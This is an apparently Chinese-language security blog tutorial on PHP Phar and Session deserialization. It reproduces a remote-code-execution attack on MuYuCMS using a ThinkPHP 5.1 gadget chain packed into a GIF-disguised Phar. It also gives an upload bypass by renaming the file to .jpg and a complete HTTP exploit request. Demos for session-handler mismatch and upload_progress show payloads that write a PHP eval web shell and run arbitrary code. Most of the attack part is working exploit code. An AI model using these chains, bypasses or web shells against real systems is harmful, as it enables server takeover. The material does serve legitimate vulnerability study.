Phar和Session反序列化
通过简单的漏洞demo,MuYuCMS的Phar反序列化复现总结帮助大家理解一下这两个反序列化,如有错误,还请斧正!
Phar反序列化
基本介绍
Phar反序列化不依赖unserialize()函数进行反序列化。而是构造phar文件,以序列化的形式存储用户自定义的meta-data这一特性,phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作。具体解析代码。该方法需要在文件系统函数(file_exits()、is_dir()等)参数可控的情况下,配合phar://伪协议直接进行反序列化。即本地构造phar文件把恶意代码本地序列化好,再通过文件上传功能点上传phar文件至目标网站,最后用phar协议配合文件系统函数反序列化phar文件,达到预期目的。
phar文件简介
1
| phar文件是一种打包形式,把php代码和其他资源(图像、表等)捆绑到一个归档文件中来实现应用程序和库的开发,跟jar文件差不多。本质上是一个压缩文件,会议序列化的形式存储用户在自定义的meta-data内的内容
|
phar文件组成
1 2 3 4 5 6 7 8 9
| stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:被压缩文件的内容
signature (可空):签名,放在末尾。
|
实现方法
0x01、生成phar文件
1、环境准备
php版本:php>=5.2

php.ini配置:phar.readonly设为Off,修改之后要重新启动phpstudy,让配置生效。

2、phar代码
下面是用于生成phar文件的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new AnyClass(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); ?>
|

然后我们访问上述1.php文件,即可生成phar文件

成功生成

进一步查看,这也就生成了一个phar文件

0x02、实现反序列化
漏洞实现前提
1 2 3
| 1.phar文件要能够上传到服务器端。 2.要有可用的魔术方法作为“跳板”。 3.文件操作函数的参数可控,且 ./ ../ phar等特殊字符没有被过滤
|
文件操作函数
php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

开审
这里使用MuYuCMS的一个phar反序列化做演示。安装就跳过了,直接开始看代码
对于phar的挖掘,我们的着手点主要是文件操作函数、可控魔术方法
我们就以文件操作函数为引,全局检索:is_dir()函数,发现一处函数的参数可控


为了更快了解传参的方式,进一步检索cutformadd,直接用定位页面,然后抓包的形式,来快速地弄清楚传参方式。但是又发现这个方法是灰色的,就说明没有调用,但是事实并非如此,这个CMS应该是直接用html页面绑定某一个函数地形式。(如下)

于是我们直接登录去找页面即可,我们直接访问admin/template/cutformadd,发现是报错了
稍微分析一下常规路由,是以/admin.php/index/index.html
,这种形式存在的,有/admin.php/,这种形式,我们直接访问admin.php/template/cutformadd即可

但是光有文件操作函数还是不足以反序列化,还要找链子,根据这个路由的形式我们很容易判断,这其实是一个TP框架。下载项目的时候我们也能看见

主播主播,找链子还是太吃操作了,有没有简单有强势的方法推荐一下呢?有的兄弟,有的,这个经典流行框架,我们直接去网上翻个比较通用的链子利用即可!上大哥
ThinkPHP5.1反序列化实现rce,这里就有通用的链子,我们稍作修改呢!什么?还要改?我不太了解tp框架啊,懵了。。。没事还有大哥撑腰,https://forum.butian.net/share/2678,我们直接用exp即可。**直接站在两个巨人的肩膀上**,在链子中加入一个主命名空间,并在其中添加生成Phar文件的代码,`TestObject`需要替换成链子中的入口类`Windows`。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php namespace think{ abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["l1_Tuer"=>["123"]]; $this->data = ["l1_Tuer"=>new Request()]; } }
class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } }
namespace think\process\pipes{ use think\model\concern\Conversion; use think\model\Pivot;
class Windows{ private $files = []; public function __construct(){ $this->files=[new Pivot()]; } } }
namespace think\model{ use think\Model; class Pivot extends Model{ } }
namespace{ use think\process\pipes\Windows; $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new Windows(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); echo (base64_encode(serialize(new Windows()))); } ?>
|
$this->$config = ['var_ajax'=>'',];
如果设置为空,那我们get传入的变量名可以为任意值。但是定义了之后,get传入的变量名就只能是我们定义的变量名。比如使用$this->$config = ['var_ajax'=>'cmd',];
,则get需要传递cmd=xxxx
。
先访问生成phar文件


再翻翻找找文件上传点

上传失败

这就用一个绕过手法了。我们前面提及到phar文件的内容的sub是phar文件的标准格式,也就是CMS可以根据这个文件内部的格式来进行解析,而不是局限于文件后缀,于是我们直接修改一下后缀为shell.jpg,再上传

直接成功上传了

现在直接用phar协议构造payload(路径可以用./尝试出来),即可rce

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /admin.php/template/cutformadd.html?cmd=type%20c:\\windows\win.ini HTTP/1.1 Host: muyucms User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 120 Origin: http://muyucms Connection: keep-alive Referer: http://muyucms/admin.php/template/cutformadd.html Cookie: PHPSESSID=skuqikd25cc4rfvvja8hmpgdf7 Priority: u=0
finame=%E6%B5%8B%E8%AF%95%E5%BE%97&fielname=gywm.html&path=phar://./public/upload/images/67a18015c2a35.jpg&content=66666
|
绕过
0X01、绕过__HALT_COMPILER检测的方法:
1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下
1 2 3 4 5 6 7 8
| <?php $a = serialize($a); $zip = new ZipArchive(); $res = $zip->open('phar.zip',ZipArchive::CREATE); $zip->addFromString('flag.txt', 'flag is here'); $zip->setArchiveComment($a); $zip->close(); ?>
|
2、将生成的Phar文件进行gzip压缩,压缩命令如下
0X02、当环境限制了phar不能出现在前面的字符里
1 2 3 4 5
| compress.bzip: compress.bzip2: compress.zlib: php: php:
|
0X03、绕过文件格式(生成代码)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class TestObject { }
@unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
|
总结下:
其实看了几篇关于phar反序列化的案例,几乎都是在TP框架有链子的基础上实现的,所以满足有全局性的利用链子+文件操作函数的cms+./
无限制,可以考虑phar反序列化!如果能独自找到利用链的话,geigei菜菜教教!
Session反序列化
session序列化&反序列化
Session的序列化(session存储)
当用户通过PHP的$_SESSION变量存储数据时,PHP会自动将这些数据序列化(即转换成字符串)并存储在服务器端的Session文件或其他Session存储介质中。序列化的格式通常是可以通过serialize()函数手动生成的格式。
Session的反序列化(session读取)
当用户再次访问Session数据时,PHP会自动从服务器端读取Session文件,并通过unserialize()函数将数据转换回原始格式。这样,开发者可以像操作普通变量一样处理$_SESSION中的数据。
session序列化和反序列化的存在前提就是当代码中调用session_start()函数时,或者php.ini中的session.auto_start的值为1。session_start()被调用或者php.ini中的session.auto_start为1后,我们在与网页交互时**$_SESSION全局变量传递的参数**就会被用session的方式保存在一个默认目录中去
简单利用1
session配置参数

最需要我们关注的点就是存储和读取的处理器,这也是反序列化漏洞存在的的关键所在
存储类别
我就看一看比较常见的处理器、以及存储的格式
处理器 |
存储格式 |
php |
键名+竖线(分割线)+ serialize后的值: |
php_serialize |
serialize后这值: |
php_binary |
键名长度对应的ASCII字符+键名+serialize后的值: |
我们用下面这这段demo来看看存储的模样
1 2 3 4 5 6
| <?php ini_set('session.serialize_handler','php'); session_start(); $_SESSION['benben']=$_GET['ben']; $_SESSION['b']=$_GET['b']; ?>
|

然后去之前提到的存储路径查看找到对应的session保存文件。
php处理器

php_serialize处理器(php>5.5.4)

php_binary处理器,简单一下就行,不太重要

发现php处理器就是键名+竖线+序列化键值组成,读取时键值就会被执行反序列化操作,键名与键值的关键就在于竖线。
漏洞原因
在某个session的生命周期之内,两个文件对同一个session文件的写入与读取的格式的差异(如:一个文件使用php的方式存入,另一个文件以php_serialize的形式读取),一个文件用php_serialize处理器存储变量,另一个文件用php处理器读取session文件中的变量,当我构造存储的参数值出现以下形式时,?ben=|序列化payload&b=1

我们再看存储的形式

此时由于竖线的存在,php处理器就可以处理它,并且被反序列化的键值还是完全可控的!!!然后再结合一些含危险函数的魔术方法不就行了吗!
漏洞demo
我们用一个存在session反序列化漏洞的demo来试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['ddd']=$_GET['ddd']; ?>
------------------------------------------------------------------------
<?php ini_set('session.serialize_handler',"php"); session_start();
class ddd{ var $a; function __destruct(){ $fp = fopen("D:\phpstudy_pro\WWW\\test\shell.php", "w"); fputs($fp,$this->a); fclose($fp); } } ?>
|
先构造payload:ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
1 2 3 4 5 6
| <?php class ddd{ var $a='<?php eval($_POST["abc"]);?>'; } echo serialize(new ddd()); ?>
|

接着直接访问test.php

就能生成shell.php了

session.upload_progress反序列化
upload_progress机制介绍
PHP 提供了 session.upload_progress
特性,用于跟踪大文件上传的进度。该功能默认开启,PHP 会在 $_SESSION
变量中存储文件上传的相关信息
漏洞成因
由于存在把文件相关的信息存储在session文件中,就可通过文件之间的存储读取差异(存储用php_serialize、读取用了php)来实现rce,类同于上述的反序列化差异,其中我们可控的就是我们的文件名。不过这个漏洞的要求更高,除了需要上面的简单利用的配置之外,要保证传入的值不被清除(php.ini中session.upload_progress.cleanup = Off)
漏洞demo
upload.php中的action根据漏洞文件的路径而定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <form action="http://test:8069/1.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
---------------------------------------------------
<?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $ben; function __construct() { $this->ben = 'phpinfo();'; }
function __destruct(){ eval($this->ben); }
} if(isset($_GET['ben'])){ $b = new test1(); }else{ highlight_string(file_get_contents('1.php')); } ?>
|
构造O:5:"test1":1:{s:3:"ben";s:36:"print_r(scandir(dirname(__FILE__)));";}
1 2 3 4 5 6 7 8 9 10
| <?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class test1 { public $ben='print_r(scandir(dirname(__FILE__)));'; } $b = new test1(); echo serialize($b); ?>
|
但是要防止双引号转义,同时在前面加上|,得到最终payload:|O:5:\"test1\":1:{s:3:\"ben\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
然后我们访问upload.php上传文件


即可实现session.upload_progress反序列化。